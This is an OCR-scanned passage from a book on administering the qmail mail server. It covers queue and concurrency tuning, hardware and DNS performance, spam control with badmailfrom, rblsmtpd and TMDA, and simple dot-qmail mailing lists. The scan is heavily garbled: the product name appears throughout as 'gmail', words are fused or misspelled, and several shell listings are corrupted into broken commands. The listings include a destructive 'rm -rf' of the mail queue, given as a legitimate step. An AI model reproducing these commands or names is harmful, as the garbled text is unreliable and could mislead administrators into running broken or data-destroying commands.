Local/remote concurrencies often at their limits. Thelocal or remote concurrencies consistently run at



thar limits.

Response to incoming connections is slow. Connections to your SMTP, POP3, or IMAP services take so
long that errors are reported.

Islt a Performance Problem?

Once you've determined there's a problem, the next step isto find out whether it'salocal performance problem, a
local configuration problem, or aremote problem. For example, the unprocessed message count might be growing
because gmail-send isn't running. Or the response to incoming SM TP sessions might be dow because the connecting
host's reverse DNS configuration isincorrect. See Chapter 6, "Troubleshooting gmail,” for guidancein determining
the problem's nature. If you find that the problemisloca and not because of a configuration error, it's probably time
to gart tuning.

Tuning gmail

Probably the easiest problemsto fix are those that can be fixed by adjusting gmail's configuration. There are two
main areas where gmail can be tuned: the queue and the loca and remote concurrencies.

Tuning the Queue

In adefault gmail ingtallation, severd of the queue subdirectories are split into 23 subdirectories. Thisreducesthe
number of filesin each directory. Many common Unix file systems exhibit poor performance on directories that
contain more than 1,000 files or so because directories are searched linearly. Some modern, high-performancefile
systems such as XFS and ReiserFS use hashing to speed lookups. For queues on such file systems, splitting the
gueue subdirectoriesis unnecessary and could even be dightly detrimenta to performance.

The conf-split compile-time configuration setting (see Chapter 2, "Installing gmail™) can be used to adjust the queue
split. The big-todo patch can be applied to add splitting to more of the queue subdirectories. Another thing that can
be done to improve queue performance is to use more than one queue.

Adjusting conf-gplit
Adjudting conf-split requires setting anew vaue for the number of split sub-directoriesin the conf-split file, rebuilding
the gmail binaries, and ingdling the new binaries.

1.

Choose anew conf-split.

When gmail placesafilein asplit subdirectory, it takes the message's queue 1D, which is the inode number of thefile



used to store the message in the queue/pid directory. The queue ID isdivided by the conf-split value, and the
remainder identifiesthe split directory. For example, if the queue ID is29 and conf-split isthe default, 23, the split
directory used is 6 because 29 divided by 23 is 1 with aremainder of 6. If the inode numbers were random, al of the
split sub-directories would average about the same number of files.

However, because inode numbers are assigned by the file system, there's no guarantee they're assgned randomly. In
fact, they're often assigned sequentially. Combined with the fact that each message in the queue uses afew inodes,
the distribution of queue | Ds sometimes contains many multiples of two, three, or four. If conf-split also happensto
be amultiple of two, three, or four, gmail could end up putting most of the messagesin afew of the split
subdirectories while the rest remain nearly empty.

For this reason, conf-split should be a prime number.

Another rule of thumb isthat for non-hashing file systems, each split subdirectory should contain no more than about
1,000files. If your queuetypicaly contains fewer than 23,000 messages, the default conf-split should befine. If your
gueue peaks at around 400,000 messages, a conf-split of 401 should be used: 400,000/ 1,000 = 400, and the first
prime number over 400 is401.

To set conf-split to 401, do this.

# cd /usr/local/src/qmail-1.03
# echo 401 > conf-split

#
2.
Make sure the queueis empty:
# gmailctl stop
St oppi ng gmai | .
grmai | - smt pd

grmai | - send
# gmailctl stat
/servicel/gmail -send: down 113 seconds, nornally up
/servicel/gmail-send/log: up (pid 274) 494966 seconds
/service/gmail-smtpd: down 113 seconds, normally up
/service/qgmail-smtpd/log: up (pid 279) 494965 seconds
nessages in queue: O
messages i n queue but not yet preprocessed: 0O
#



Note
Changing conf-split whilethereare
messagesin the queue will dmost
certainly corrupt the queue. The
preferred solution isto wait until the
gueue is empty to change confsplit.
Another option isto temporarily ingadl
gmail under adifferent conf-home
(such as /var/gmail 2) with the new
conf-split and run both copies until the
old queueisempty. Then shut down the
old gmail, move /var/gmail2 to
Ivar/gmail, and rebuild gmail with
conf-home set to /var/gmail and the
new conf-split.

Removethe old queue:

# rm-rf /[var/qgmail/queue

Rebuild gmail with the new conf-split:

# make setup check
.lauto-int auto_split 'head -1 conf-split' > auto_split.c
./conpile auto_split.c
./l1oad gmail-clean fmtgfn.o now o getln.a sig.a stralloc.a \
...lots of output followed by sonething like:
auto_uids.o strerr.a substdio.a error.a str.a fs.a
.linstall
. linstcheck
#

Regtart gmail:

# gmailctl start
Starting gmail
#

Verify that gmail isworking correctly. Send some test messages and check the logs for queue-related errors.

TheBig-todo patch

This patch adds splitting to the todo and intd queue subdirectories, which can improve performance on very busy
sarvers. Seethe earlier " Modifying the Source Code" section for more information about this patch.




Multiple Queues

gmail-send is single-threaded and hasto perform two magjor functions: processing new messages and passing them
off to gmail-Ispawn or gmail-rgpawn. A gmail system that'strying to deliver mail rapidly to alarge number of
recipients can be severdly impacted by ardatively low level of incoming mail, such as bounces. Ingtaling another
copy of gmail with its own queuejust for handling mail coming in from remote siteswill alow the sending gmal
ingtallation to run &t full speed.

Because all messagesin the queue are considered equaly important, on asystem that hostslarge, busy mailing lists,
regular users might find that their messages are sitting in the queue while gmail grinds away on bulk mail. Onefix isto
instal another copy of gmail dedicated to locd users. For example, you could ingtal gmail under /var/gmail2 and
ingtruct usersto configure their MUAS to inject messages using /var/gmail 2/bin/gmail-inject.

Also, because gmail is often bound by the level of input/output (1/0) performance on the queue, aserver system with
multiple processors or disk interfaces can use multiple ingalations to achieve higher totd levels of performance than
they can with asingle queue.

Tuning the Concurrencies

By default, gmail will spawn up to 10 local delivery processes and 20 remote delivery processes. Thisis adequate for
sngle-user sysemsand smal servers, but larger, busier serverswill need higher limits. A mailing list server, for
example, can dramaticaly improve sending performance by raising concurrencyremote to 200 or more. The
big-concurrency patch discussed earlier in " Source-Code Modifications alows concurrencies of up to 65,000
though, in practice, littleis gained by raising it to more than 500 in most cases.

Care should be taken not to rai se the concurrencies beyond the capabilities of the system, or aburst of messages
could cause gmail to spawn processes until some system resourceis critically starved. Even on adedicated mail
server, you should leave some head room. If the system can handle a concurrency of 200 beforeit sarts straining,
limit it to 180. If malil isjust one of many functions the system supports, restrict the concurrencies even more: Y ou
don't want amail surge combined with, for example, an untimely Web server surge, to bring the system to its knees.

Y ou might find that your system is never able to reach the concurrency limits you've set, even when you know there
are messages waiting to be sent immediately not just Stting in the queue waiting for their next retry time. If that
happens, you'll haveto look at tuning other parts of the system as described in the following sections.

To change concurrencylocal or concurrencyremote, smply place the desred setting in
Ivar/gmail/control/concurrencyloca or concurrencyremote and restart gmail-send, perhaps using gmailctl restart or
svc -t /service/lgmail-send. Check the gmail-send logs to verify that the new values are reported in the status: entries.
Monitor the logsfor awhile to determine the effect of the change and adjust as necessary.

Tuning the System Software



Sure, there are the various kernd settings that can be adjusted to eke out modest performance gains. Before you do
that, though, you might want to consider some choicesthat can have adramatic effect on performance: the choice of
the operating system (OS) and file system used to hold the queue.

Choosing an Operating System

Most systems are capable of running under more than one operating system: a proprietary Unix variant provided by
the manufacturer and one or more free operating syslems such as Linux or aBSD (Berkeley Software Distribution)
Unix like OpenBSD, NetBSD, or FreeBSD. It's easy to dismiss the free operating systems as amateur, hobbyist
efforts without the support network provided by the mgjor proprietary Unix vendors, but that might not be wise. Free
operating systems are now widely used in production environments. They've proven to be powerful, reliable, efficient,
and, perhaps most surprisingly, maintainable. Free operating systems are especidly attractive on PC-compatible
systemswhere they often outperform their commercia cousins while supporting amuch wider range of hardware.

Choosing a File System

Traditiona Unix file systems, such asthose derived from the Berkeley Fast File System (FFS), perform well in most
gtuations. An exception is directories containing thousands of entries. When searching adirectory for aparticular file
or subdirectory, thesefile systems read directory entries sequentialy until they find amatch or have scanned the entire
directory.

Modern file systems use sophisticated agorithms to improve performance while maintaining reigbility. Someusea
technique called hashing to rapidly look for entriesin directories. Others store entriesin specia data structures that
enable high-speed lookups.

gmail's queue splitting mechanism, discussed earlier in " Tuning the Queue,” can be used to keep queue directories
smdll, so it's not necessary to use one of these newer file systemsfor that reason aone. Of course, they have other
performance advantages and features that make them attractive. See " Reguirements for the Location of the Queue,”
in Chapter 2, "Ingaling gmail," for more information about salecting afile system for the queue,

Mailboxes are another areawhere large directories are sometimes encountered. Using the maildir format, each
message in amailbox or mail folder residesin aseparatefile. A maildir mailbox with 2,000 messagesisadso a
directory with 2,000 files, and if it's stored on adow file system, accessing the mailbox could be annoyingly dow.

Tuning the System Hardware

Hardware tuning falsinto two broad categories: selection and configuration. In other words, you tune your disk
performance ether by buying afaster disk drive or controller or by atering the configuration of your drives. There are
afew exceptions, such as enabling or disabling the write cache on adisk drive, where you can actudly tweak the
performance of apiece of hardware without otherwise altering its configuration, but those arerare.

Well look at each of the maor components of the system that determine its performance: the CPU (Central
Processing Unit), RAM (Random-Access Memory), and disk /O, and examine ways to tune each for maximum



gmail performance.

Tuning the CPU

Thisisthefirgt thing most novicesthink of when they think of speeding up adow computer. It's dso one of theleast
likely bottlenecks on agmail system. Sending and receiving mail just doesn't require alot of CPU power. Unless
systern monitoring utilities show that al available CPU cyclesare going to the "user” state most of the time, the CPU
isn't your bottleneck. If the CPU is the bottleneck, thefix isto replace it with afaster one (if that's an option) or to
add additional processorsif the hardware and operating system support multiple processors.

Tuning the RAM

A smple and often inexpens ve performance boost depending on the current state of the volatile RAM market can be
achieved by ingdling additiond memory. Certainly, if monitoring tools show frequent virtua memory paging activity,
adding memory will improve overdl performance. Another less obvious reason to have excess RAM ingtdled isthat
many modern operating systemswill useit for adisk cache. Files and directoriesthat are regularly accessed are
copied from therdatively dow disk drivesinto high speed RAM. For example, on abusy gmail server, it'slikely that
most of the queue directorieswill be accessed from cache, if it'savailable, which will dramaticaly speed up queue
operations.

Tuning Disk I/0

Disk I/O particularly for the queue isthe most common bottleneck on busy MTAS. Because gmail guaranteesthat the
queueis crash proof, it tends to be even more demanding than other MTAS. Luckily, there are many waysto
improve disk performance.

| solation

Whenever possible, locate the queue on disks used only for the queue. Even better: Locate the queue disks on
interfaces reserved for the queue. Y ou don't want the disk to have to divide its attention between queuing activities
and writing log files or mailboxes. And you don't want the interface to the queue disks to be shared with other
non-queue-related activity.

Interface

Obvioudy, higher performing disk interfaceswill improve disk I/0O. The two most common disk interfaces are
Integrated Disk Electronics (IDE) and Small Computer Systems Interface (SCSl). Both have improved dramaticaly
inthe last few years, but SCSl ill hasthe edge. It particularly outshines IDE when multiple drives are used on an
interface. IDE isfinefor most gpplications, but SCSl should be used for high-performance servers.

Single-Drive Performance



Another reason for choosing SCSl over IDE isthat the fastest drives are always available with SCSI first. The
primary indicator of disk drive performance isthe speed at which the disk plattersrotate. Faster rotation means
higher bandwidth and lower latency. At thetime of thiswriting, the fastest SCSl disksrun at 15,000 revolutions per
minute (RPM), and 10,000 RPM drives aretypical. For IDE, the fastest are 7,200 RPM and 5,400 RPM istypical.

RAID

Redundant Arrays of Inexpengve Disk technology (RAID) isthe combination of multiple disk drivesinto asingle
logica drivefor improved performance, capacity, or fault tolerance. The following levels classfy RAID systems:

0 Striping. Datais spread across multiple drives, often on different interfaces. Provides high bandwidth by
spreading the 1/0 load across drives and interfaces, but doesn't provide fault tolerance.

1 Mirroring. Dataiswritten smultaneoudy to two or more drives. Provides high fault tolerance and read
bandwidth (due to round-robin reads).

2 Hamming Code ECC. A fault-tolerant configuration with high overhead hasn't yet been implemented.

3 Striping plus Parity Disk. Like RAID 0 with an additional disk used for storing calculated error
detection/correction informetion (parity).

4 Independent Disks plus Parity Disk. Like RAID 3, except the data disks are independent, not striped
together.

5 Independent Disks with Digtributed Parity. Like RAID 4, except the parity information doesn't resdeon a
separate disk, it's distributed across the data disks.

There are dso two common combined RAID levds:

1+0 Striped Mirrors. A RAID O (stripe) of RAID 1 (mirrored) components. Combines the high performance
of RAID 0 with the high fault tolerance of RAID 1.

0+1 Mirrored Stripes. A RAID 1 (mirror) of RAID O (striped) components. Yields the high performance of
RAID 0 but only the fault tolerance of RAID 3 or 5 because asingle disk failurewill revert it toaRAID 0.



For critical applications requiring high performance, either RAID 0, RAID 5, or RAID 1+0 is recommended.
However, RAID 0 doesn't provide fault tolerance. RAID 3 and 5 don't provide the highest 1/0 performance, but
RAID 5 isfaster because the parity information is distributed.

RAID can beimplemented in hardware disk controllers or via operating system software. Software RAID will use
some CPU cycles, but because CPU rarely limits gmail, that shouldn't be a problem on most systems. Be sureto test
performance before putting any RAID configuration into production.

Tuning the Network

gmail isanetwork server, so naturdly it's senstive to network performance. The network includeslocal and Internet
connectivity. gmail's performance is dso sengitive to the performance of the DNS.

L ocal Connectivity

gmail's performance on the Local Area Network (LAN) depends on the performance (bandwidth and latency) of the
LAN. Toimproveloca performance:

Use afaster physical network. For example, 100 base-T (Fast Ethernet) or 1000 base-T (Gigabit Ethernet)
instead of 10 base-T (Ethernet).

Use switchesinstead of hubs. Hubs share the bandwidth with al of the systems connected and don't dlow
full-duplex connections.

Use full-duplex connectionsingtead of half-duplex. Full duplex provides full bandwidth in both directions at
the sametime.

Use multiple network interfaces, if necessary.
I nter net Connectivity

Loca 1000 base-T connectivity won't help much if you're trying to pump amillion messages to remote hosts over a
64K bps Integrated Services Digital Network (ISDN) link. Calculate the bandwidth you'll need based on the size of
messages and the delivery rate you want to achieve, then add overhead for the protocols suchas SMTP and
Transmission Control Protocol (TCP), which will be higher for smaller messages, and leave some headroom for
DNS and other traffic. Also consider expansion to meet future needs.



DNS Caching

A busy mail server will be congtantly sending DNS queriesto theloca name server. Running acaching-only DNS
server, such as dnscache from the djbdns package, directly on the gmail server can dramatically improve DNS
performance by storing the results of querieslocdly. Theinitia lookup of adomain namewill il require sending a
DNS query over the network to the local name server, but subsequent lookups of the same domain namewill be
answered immediately from the detaiin thelocal cache. See Appendix B, "Related Packages," for more information
about djbdns.
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Conclusion

In this chapter you learned how to set up gmail in avariety of stlandard configurationsincluding backup MX, smart
hogt, and null client. Y ou dso examined the issuesinvolved in migrating a Sendmail system to gmall: diases, .forward
files, and mailbox location. Y ou aso learned how to apply source-code patches and what some of the common
patches provide.

Next, you learned about two protocols introduced with gmail, QM TP and QM QP, and you learned what they do
and how to use them. Y ou aso learned how to secure your SMTP servicefor rdliable relay control and privacy.
Finaly, you learned how to improve the performance of your gmail server by reconfiguring it, upgrading the
hardware, and improving its networking.

In Chapter 8, "Controlling Junk Mail," you'll learn how to control junk mail by blockingit, filtering it, and by keeping
your addresses out of their databases.
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Chapter 8: Controlling Junk Mail

Highlights

Junk mail Unsolicited bulk e-mail (UBE), Unsolicited Commercia E-mail (UCE), or spam isthe bane of the email
user. Unscrupulous marketers harvest e-mail addresses from every available source including Web sites, Usenet
newsgroups, and chat forums. They then send large numbers of messages to these addresses enticing the recipientsto
buy their new miracle product, get rich quick using their unique and perfectly lega scheme, accessthe hottest
pornography, join the onetruefaith, or well, thelist isendless.

The methods employed by mail administrators and usersto control spam are as varied as the spammers pitches.
Many spam controls are heurigtic, and as more users adopt them and block more unsolicited mail, the spammers
adapt and find away around the blocks. The process has been likened to an arms race, with both sides developing
more sophisticated methods to counteract their opponents.

Spam controls can be employed on two levels: to al mail entering the system (by the system or mail administrator) or
to mail for only one user or address (by the user). Additiondly, controls can be advisory, identifying amessage as
potentia junk mail, or mandatory, blocking the ddivery of mail identified as unwanted. A further qudification of
gpam controlsis that they can be proactive, blocking junk mail beforeit isreceived, or reactive, disposing of it after
It's been recaived but before it's been ddlivered.

Caution
Although junk mail isimmediatey
obviousto the user, automatic controls
cannot aways distinguish spam from
legitimate mail. Therefore, mandatory
gpam controls also block some
legitimate messages. Users should be
notified when mandatory spam controls
arein use, and, preferably, should be
given the option not to use them.

ChrisHardie maintains the gmail Anti-Spam HOWTO (
http:/Mmww.summersault.com/christechno/gmail/gmail-antigpam.html ), a good resource for users and administrators
dedling with unwanted mail on gmail systems.
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Overview

This chapter describes how to control junk mail:

Firgt, well show how to keep junk mailers from getting your address.

Next, well cover sysem-level controlsincluding the badmailfrom control file and the rblsmtpd utility.

Findly, well look at user-level controls such asfiltering, address revocation and auditing, and the TMDA
utility.
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An Ounce of Prevention. . .

Beforewelook at waysto "cure' the junk mail problem, we should remember that preventing junk mailersfrom
harvesting e-mail addressesisthe most effective, reiable, and efficient method for avoiding unwanted messages. If
they don't have your address, they can't send you mail.

Y ou should think twice before doing any of thefollowing:

Sending anyone a message (which contains your addressin the From header field or envelope return path)

Posting amessage to a Usenet newsgroup (From field, again)

Filling out aWeb form that asksfor your e-mail address

Including your e-mail address on aWeb page or business card

Giving your addressto afriend or relative

Do you really trust the recipient(s) not to sall your address to marketers or discloseit to others, even accidentaly? In
the case of apublic forum such asamailing list or newsgroup, there could be thousands of recipients. Expecting an

address published publicly to remain private is naive. Even awel-meaning friend or relaive can hand your addressto
ajunk mailer without redizing it, for example, by sending you a Web greeting card through an unscrupulous Web ste.

Remember that once an address has been publicly disclosed, theré'sno way to prevent junk mailersfrom using it. At
that point, your choice is whether to implement spam controls or abandon the address. Asyou'll see, spam controls
are time consuming and often unreliable or ineffective. Abandoning the address means you'll have to get anew one
and digtribute it to everyone who should haveit usudly adifficult task.

gmail's extension addresses provide ahandy way to track and control your e-mail address. Chapter 4, "Usng gmall,”
shows how you can turn asingle address into an unlimited set of addressesthat can identify their source and be
revoked by the user in the event that they fall into the wrong hands.

For example, if your main addressis bfie@isp.example.net, you could register at Example's Web sitewith



bfie-web-example.com@isp.example.net. If Example then sdllsthat address to a mass marketer, and you want to
disable the address, you could create a SHOM E/.gmail-web-example:com file containing this:

| bouncesayi ng "Thi s address has been disabled."

which would disabl e the bfie-web-example.com address and cause senders to receive a bounce message. If you
want to throw those messages away, because junk mail usudly has an invaid return address, you could create a
non-empty $HOME/.gmail-example:com with no delivery ingructions:

# don't deliver or bounce mail to bfie-exanple.com@sp. exanpl e. net

Note
An empty dot-gmall fileistreated the
same as one that containsthe
defaultdeivery ingtructions, so to throw
messages avay unddivered, the
dot-gmail file must be non-empty but
must dso contain no ddlivery
ingructions. In other words, it must
contain only commentslines starting
with # characters.
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Setting System-L evel Controls

System-level spam controls can be mandatory or advisory and proactive or reactive. They afford the mail
adminigrator broad powers and awide range of options, but mandatory system-level controlstake control away
from the user. Because no spam control method can guarantee that only spam will be blocked, mandatory
system-level controlswill likely result in the rgjection of some valid messages. Not al usersarewilling torisk losing
Important messages business offers, for examplein the effort to block junk mail.

Proactive controls must be implemented at the level of tcpserver or gmail-smtpd, so they're usually only implemented
at the system level. 1t would be possible for gmail-smtpd to check a per-user configuration file before accepting mall
to auser, but thisisnot currently implemented in gmail or available asa patch.

Mogt syslem-level controls are mandatory "out of the box." Converting them to advisory will require modification or
additiond tools or scripts.

System-level spam controls use the following methods to detect probable junk mail:
| Envelope sender isaknown spammer.
Remote hogt isaknown spammer.
Envelope sender'sdomainisinvaid.

Remote host isadia-up client.

Remote host's Internet Protocol (1P) address doesn't match the value returned by the Domain Name System
(DNS).

From header fidd domainisinvaid.

Excessve number of envelope recipients.



Of course, many of these can result from user error or misconfiguration, as well as attemptsto send junk mail.

In addition to flagging or bouncing probable junk mail, atechnique known as tar pitting or teergrubing (teergrube is
Germanfor tar pit) is sometimes employed. When ateergrubing SVITP daemon decidesthat it'stalking to ajunk
mailer, it intentionaly delaysits responses. The goa isto dow down the spammers and force them to waste their
resources on the foot-dragging site. Of course, it also forces the teergrubing site to waste some of their resources,

and its effectivenessis debatable.

Using badmailfrom

The only spam contral included in gmail proper isthe badmailfrom control file used by gmail-smtpd. If badmailfrom
exigs, gmail-smtpd checks the vaue supplied by the remote hostinaMAIL command. If the valueis supplied, the
envelope sender, or the domain part of the envelope sender, islisted in the file, then gmail-smtpd will rgect the
message with a permanent error.

Unfortunately, thisis of limited utility. Once blocking messages from known spammers became widespread, the
spammers reacted by using randomly generated usernames and domain names. The good guys countered by verifying
the domain names, which forced the bad guysto use valid domains somebody el sg's, like hotmail.com or aol.com.
Spammers also tend to use envelope sender addressesthat differ from the From header field, which hides the bogus
addresses. badmailfrom does not match againgt From fields.

For example, amail administrator noticesthat he's receiving junk mail from junk.example.net, so he addsthat to
badmailfrom and conducts aquick test:

# echo "@unk. exanpl e. net" > /var/qgmail/control/badmail from
# telnet 0 25

Trying 0.0.0.0...

Connected to O.

Escape character is '"]'.

220 dol phi n. exanpl e. com ESMIP

hel o dude

250 dol phi n. exanpl e. com

mai | from <f oo@ unk. exanpl e. conp

250 ok

rcpt to: <dave@ol phin. exanpl e. cone

553 sorry, your envel ope sender is in ny badmailfromlist (#5.7.1)
quit

221 dol phi n. exanpl e. com

Connection closed by foreign host.

#

Theline starting with 553 sorry. . . shows gmail-smtpd refusing to accept the message.

Using rblsmtpd



Early in thewar on spam, the warriors were faced with the problem of distributing databases of known junk mailers
and sympathizers. Because the itemsin the databases were | P addresses, the DNSwas alogica choice. Thuswas
born the notion of the Redtime Blackhole List (RBL). A network service particularly an SMTP service could look up
the IP address of aremote host requesting a connection, and if one of the DNS "bad guy" databases had the address
listed, the service could refuse the connection.

Dan Berngtein wrote rblsmtpd, asmple SMTP server wrapper that can be used with any SMTP server that can be
run from tcpserver, including gmail-smtpd, of course. Origindly distributed separately, rblsmtpd is now part of the
ucspi-tcp package (see Appendix B, "Related Packages').

There are many DNS blacklists available:

The Open Relay DataBase (http://www.ordb.org/). DNS server isrelays.ordb.org.

Open Relay Black List (http:/Aww.orbl.org/). DNS server isor.orbl.org.

Open Relay Blackhole Zones (http://mww.orbz.org/). DNS servers are inputs.orbz.org and outputs.orbz.org.
The outputslist is more aggressive and isn't recommended by ORBZ for system-level blocking.

Commercia services provided by the Mail Abuse Prevention System (MAPS, "spam”* spelled backwards).
Further information is available from http://mail-abuse.org/.

Configuring rblsmtpd

To enable rblsmtpd, insert the rblsmtpd command in the tcpserver command in the
Ivar/gmail/supervise/gmail-smtpd/run script. For example, to have rblsmtpd check connecting hosts againgt the
ORDB and ORBZ ligts, you would change this command:

exec /usr/local/bin/softlint -m 2000000 \
/usr/local/bin/tcpserver -v -p -x /etc/tcp.sntp.cdb -c 5\
-u $QVAI LDUID -g SNOFILESA@ D 0 sntp qmail -sntpd 2>&1

tothis

exec /usr/local/bin/softlimt -m 2000000 \
/usr/local/bin/tcpserver -v -p -x /etc/tcp.sntp.cdb -c 5\
-u SQVAILDUID -g $NOFILESA D 0 sntp rblsntpd \
-r relays.ordb.org \
-r inputs.orbz.org \
gmai | -sm pd 2>&1


http://www.ordb.org/
http://www.orbl.org/
http://www.orbz.org/
http://mail-abuse.org/
http://www.ordb.org/
http://www.orbl.org/
http://www.orbz.org/
http://mail-abuse.org/

Next, tell superviseto terminate the gmail-smtpd service and automatically restart it with the modified run script:

# svc -t /service/qgnail-sntpd
#

Testing rblsmtpd

For testing purposes, the address 127.0.0.2 islisted in the ORDB and ORBZ lists. Because al |P addresses starting
with 127 refer to the loca hogt, thisalows oneto telnet to the loca host viaone of these test addresses to verify that
rblsmtpd isworking.

For example, connecting to 127.0.0.1, which is not listed in these databases, will result in adia ogue with
gmail-smtpd:

$ telnet 127.0.0.1 25

Trying 127.0.0. 1.

Connected to 127.0.0. 1.

Escape character is '"~]"'.

220 dol phi n. exanpl e. com ESMIP
quit

221 dol phi n. exanpl e. com
Connection closed by foreign host.
$

The SMTP greeting, 220 dolphin.example.com ESM TP, showsthat gmail-smtpd is running, which only happensif
rblsmtpd doesn't find the "remote” host in an open-relay database.

The sametest to 127.0.0.2 with rblsmtpd configured resultsin the following dia ogue:

$ telnet 127.0.0.2 25

Trying 127.0.0. 2.

Connected to 127.0.0. 2.

Escape character is '"~]"'.

220 rbl sntpd. | oca

quit

221 rblsntpd. | oca

Connection closed by foreign host.
$

Now the SMTP greeting is 220 rblsmtpd.local, indicating that rblsmtpd found 127.0.0.2 in an open-relay database
and has intercepted the SMTP session.

Expanding the dialogue to include MAIL and RCPT commands will show which list the addresswas found in and the
type of response that a blackholed host would receive:

$ telnet 127.0.0.2 25



Trying 127.0.0. 2.

Connected to 127.0.0. 2.

Escape character is '~]'.

220 rbl snt pd. | ocal

mai |l from <me>

250 rbl snt pd. | ocal

rcpt to:<me>

451 Bl ocked by ORDB - for testing purposes only

quit

221 rbl sntpd. | ocal

Connection closed by foreign host.
$

The response starting with 451 Blocked by ORDB indicates that the remote host was listed in the ORDB list.
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Setting User-Level Controls

User-level spam controls can be mandatory or advisory, and reactive, but because they're usualy invoked when
messages are being delivered to the user, they're generdly not proactive. In other words, users can identify junk mall
and either throw it away unread or identify it as probable junk mail, but they can't prevent their system from accepting
SMTP connections from known spammers or high-probability-of-spam I P pools.

Filtering

Using Procmail or maildrop, as described in Chapter 4, "Using gmail,” users can implement awide range of junk mail
filtering techniques of varying levels of efficacy. These techniquesinclude:

Blacklisting Messages from known junk mailers are identified and rgjected, ddlivered to specid junk mail
mailbox, or discarded.

Whitelisting Messages from known "good guys' areidentified and delivered; dl other messages are rgjected,
ddlivered to ajunk mailbox, or discarded.

Flagging Messages identified as potential junk, for example, from black-holed senders, are marked with
user-defined header field such as X-Spam: blackholed or X-Junk: blind copy.

K eyword searching Messages are scanned for certain keywords, usually in the Subject field or body, which
typicdly identify junk mall.

Blackligting isunlikely to fasdy block vaid mail, but it is not very effective and requires constant updating of filtersto
accommodate new spammers and new spamming techniques.

Whitdligting is effective but requires updating the filters for each new valid sender.

Flagging ensures that no valid messages will be blocked but doesn't sop spam from being delivered it just makesit
easer to identify.

Keyword searching iseasly foiled by using different wording or dternative spdling (Make M-O-N-E-Y Fast instead
of Make Money Fast) andislikdy to fasdly identify vaid mail asjunk (sex might maich Essex or a non-prurient



usage of sex).

Catherine A. Hampton has written acomprehensve junk mall filtering system for Procmail called the SpamBouncer.
See http://Mmww.spambouncer.org/ for moreinformation.

In generd, filtering isamethod of |ast resort. It requires careful implementation and frequent maintenance,
Using TMDA

Jason Madtaler has crested a utility called Tagged Message Delivery Agent (TMDA) based on an earlier utility from
Thomas Erskine called Tagged Message Sender (TMS). TMDA uses acombination of whitelisting and confirmation
to effectively block junk mail without blocking unknown senders.

Mail from whitdlisted users and domainsis ddivered normaly, but mail from unknown sendersisreturned with a
message explaining that the sender is unknown and that the message will not be delivered to the recipient until the
sender sends a confirmation message. Because most junk mail usesinvaid return addresses, the confirmation
requests are unddiverable and the spammer has no opportunity to confirm their message. TMDA is comprehensively
documented at, and available from, http://tmda.sourceforge.net/. Ingdlation is straightforward, but becauseit's
written in the Python language, it requires verson 1.5.2 or later of the Python interpreter.

One cavest regarding TMDA isthat the default automatic responses from it, dthough they're clear, are wordy and
contain somejargon, so they confuse some recipients. Luckily, they're easily customized.

TMDA ishighly effective at blocking unwanted mail, and the confirmation mechanism ensures that senders can reach
recipients who haven't added them to their whiteligts.

Address Revocation and Auditing

Chapter 4, "Using gmail," describes how users can use extension addresses to uniquely identify each usage of their
address. The Delivered-To header field added by gmail-local alows recipients to determine the envel ope recipient
address used to ddliver each message even in the case of so-called blind carbon copies (BCcs), where the junk
mailer leavesthe recipient address out of the message header.

If atagged extenson addressfalsinto the hands of ajunk mailer, the user can easily "revoke" that address by
creating adot-gmail file for it that bounces messages, using bouncesaying, or discards them, using anon-empty,
non-delivering file (seethe" An Ounce of Prevention. . ." section).

By tagging addressesin this manner, it should be possible to determine how they ended up in ajunk mailer's
database. For example, if you only gave out the address tagged -web-example.com when you registered at
www.example.com, and you later recelve junk mail from some other site than example.com using that address, you
know that example.com was responsible. Without such atag, you'd have no ideawhich party was responsible for
giving your addressto aspammer.


http://www.spambouncer.org/
http://tmda.sourceforge.net/
http://www.spambouncer.org/
http://tmda.sourceforge.net/
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Conclusion

In this chapter you learned various methods for controlling unwanted mail, including techniques that apply to all
addresses and othersthat gpply only to asingle user or address. Y ou aso learned how to keep addresses out of junk
mailer databases and that doing so is more effective than blocking spam.

In Chapter 9, "Managing Mailing Lists" youll learn how to manage mailing lists on gmail sysemsusing mailing-list
managers such as ezmim, Mgordomo, and Mailman.
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Chapter 9: Managing Mailing
Lists

Mailing-list managers (MLMs) are systlemsthat help list ownersrun mailing lists. An MLM'sdutiesfdl into two main
divisons managing the lists of subscribers and controlling the resending of messagesto the subscribers.

All of the commonly used Unix mailing-list managers can work with gmail.
Overview

This chapter describes how to manage mailing lists under gmail:
| Firgt, well show how to set up and manage smple mailing lists.
Next, well cover ezmlm, the MLM from the crestor of gmail.
Well aso learn about ezmlim-idx, an extended version of ezmlm that includes many advanced features.
Then well cover Mg ordomo, one of the most popular Unix MLMs.

Well aso talk about Mailman, an MLM known for its Web-based interface.

Finaly, well talk about Srategies for making other Unix MLMswork with gmail.
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Setting Up Simple Mailing Lists

The smplest way to set up amailing list under gmail isto create adot-gmail file containing the list members.

For example, say rachel wantsto create amailing list so her friends can easily send messagesto each other. To
cregtetheligt, she edits the file SHOME/.gmail-friends and uses multiple forward ddlivery ingtructions, asin Liding
9-1.

Liging 9-1: A amplemailing list

el

nt ha@ sp. exanpl e. net
& essi ca@xanpl e. com
&erica

To send amessageto thelit, she addressesit to rache-friends, just like any other extenson address. Each recipient
will receive acopy of the message addressed to rachel-friends@domain. The recipients and anyone ese who knows
the name of thelist can also send messagestoit.

Tip
Because smple malling ligsare merdly
dot-gmailfiles, mailbox and program
deliveriesare dso dlowed. A mailbox
ddivery could be used to archive
messages sent to the list, and aprogram
ddivery suchas
|bouncesaying"password required”
except grep listpassword could be
used to reject messagesthat don't
contain the string listpassword.

If thismailing list contains an invalid address, the bounce message will be returned to whoever sent the message. That
person will then haveto notify rachel so she can correct thelist. gmail includes a handy feature that letsthe list owner
intercept list bounces. If rachel creates a.gmail-friends-owner file, the envelope return path for messages re-sent
through rachel-friends will be set to rachel-friends-owner. Because bounce messages are sent to the envelope return
path, they'll be delivered according to rachd's ingtructions. For example, to have bounces delivered via the default
delivery ingructions, she can Smply create an empty .gmail-friends-owner file:

$ touch ~/.gmail-friends-owner
$

To add or remove membersfrom thelist, rachd edits SHOME/.gmail-friends. To temporarily disable deliverieswhile
she's editing dot-gmail files, she setsthe sticky bit on her home directory. For example:



$ chnod +t $HAOVE

edits $HOWE . qnui |l -friends
$ chrod -t $HOVE

$

Smple mailing lists are gppropriate when sophisticated festures such as automatic subscription/unsubscription,
bounce handling, and archived message retrieva aren't required.
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Working with ezmim

Dan Berngein, the author of gmail, created ezmim (http://cr.yp.to/ezmlim.html). It was written for use with gmail and
relies on severd features of gmail. Most notably, it uses Variable Envelope Return Paths (VERPS) to reliably process
